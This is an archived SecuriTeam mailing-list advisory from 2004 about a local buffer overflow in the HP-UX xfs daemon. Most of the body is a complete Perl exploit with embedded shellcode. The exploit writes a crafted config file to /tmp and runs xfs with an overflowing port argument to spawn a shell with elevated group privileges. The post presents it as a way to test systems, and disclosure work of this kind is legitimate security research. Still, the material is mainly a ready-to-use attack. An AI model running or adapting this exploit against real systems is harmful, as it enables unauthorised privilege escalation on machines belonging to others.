[EXPL] HP-UX Xfs Daemon Port Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 07/13/04

  • Next message: SecuriTeam: "[EXPL] Windows Expand-Down Data Segment Local Privilege Escalation (Exploit)"
    To: list@securiteam.com
    Date: 13 Jul 2004 17:54:58 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      HP-UX Xfs Daemon Port Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

    HP-UX's xfs daemon has been found to contain a vulnerability that allows a
    local attacker to cause a buffer overflow. A specially crafted buffer
    supplied as the overflowing buffer allows the execution of arbitrary code
    and the gaining of elevated privileges.

    The following exploit code can be used to test your system for the
    mentioned vulnerability.

    DETAILS

    Vulnerable Systems:
     * HP-UX B.11.00

    Exploit:
    #!/usr/contrib/bin/perl
    # Name : x_hpux_xfs.pl
    # Exploit xfs command of HPUX to get bin gid shell.
    # * Usage : perl ./x_hpux_xfs.pl
    # Discovered by watercloud 2003-03-10
    # http://www.xfocus.org (EN)
    # http://www.xfocus.net (CN)
    # Tested: HPUX B11.0
    $BUFF="A";
    $BUFF.="\x0b\x39\x02\x99"x58;
    $BUFF.="\x41\x41\x41\x41\x7f\x7f\x01\x16\x7f\x7f\x01\x1c\x0b\x39\x02\x99";
    $BUFF.="\x0b\x39\x02\x57\x2a\xe4\x97\x10\x28\x3b\x70\xef\x08\x37\x02\x43";
    $BUFF.="\xb6\xfa\x40\x04\xb6\xf9\x40\x04\xb6\xf8\x40\x04\xe4\x60\xe0\x08";
    $BUFF.="\xb6\xf6\x40\xfe\x0b\x39\x02\x99\x2b\x24\x97\x10\x28\x3b\x70\xef";
    $BUFF.="\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22\x0f\x40\x12\x0e";
    $BUFF.="\x08\x39\x02\x43\xe4\x60\xe0\x08\xb4\x16\x70\x16/bin/shA";
    open(OUTFILE, ">/tmp/.c");
    print OUTFILE "error-file=";
    print OUTFILE "\x7f\x7f\x01\x10"x500;
    close(OUTFILE);
    exec("/usr/bin/X11/xfs -config /tmp/.c -port \'$BUFF\'");
    #EOF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:watercloud@nsfocus.com>
    watercloud.
    The original article can be found at:
    <http://xfocus.net/releases/200406/t725.html>
    http://xfocus.net/releases/200406/t725.html

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] Windows Expand-Down Data Segment Local Privilege Escalation (Exploit)"

    Relevant Pages

    • [UNIX] Sun Microsystems Solaris ld.so doprf() Buffer Overflow Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Sun Microsystems Solaris ld.so 'doprf' Buffer Overflow Vulnerability ...
      (Securiteam)
    • [NT] Microsoft Outlook Express NNTP "LIST" Buffer Overflow (MS05-030)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The NNTP news reader embedded in Outlook Express is vulnerable to buffer ... Remote exploitation of a buffer overflow vulnerability in the news reader ...
      (Securiteam)
    • [UNIX] IBM DB2 Universal Database db2dasStartStopFMDaemon Buffer Overflow Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... IBM DB2 Universal Database db2dasStartStopFMDaemon Buffer Overflow ... exploitation of a buffer overflow vulnerability in the db2dasrrm program, ... the attacker can overwrite execution ...
      (Securiteam)
    • [NEWS] RealNetworks RealPlayer/HelixPlayer SMIL wallclock Stack Overflow Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... RealNetworks' RealPlayer and HelixPlayer version 10.5-GOLD ... The stack buffer is declared to be 10 bytes on line 957. ... RealNetworks has addressed this vulnerability by releasing fixed versions ...
      (Securiteam)
    • [UNIX] LibSPF2 DNS TXT Record Parsing Bug
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... LibSPF2 DNS TXT Record Parsing Bug ... rdlen byte buffer. ...
      (Securiteam)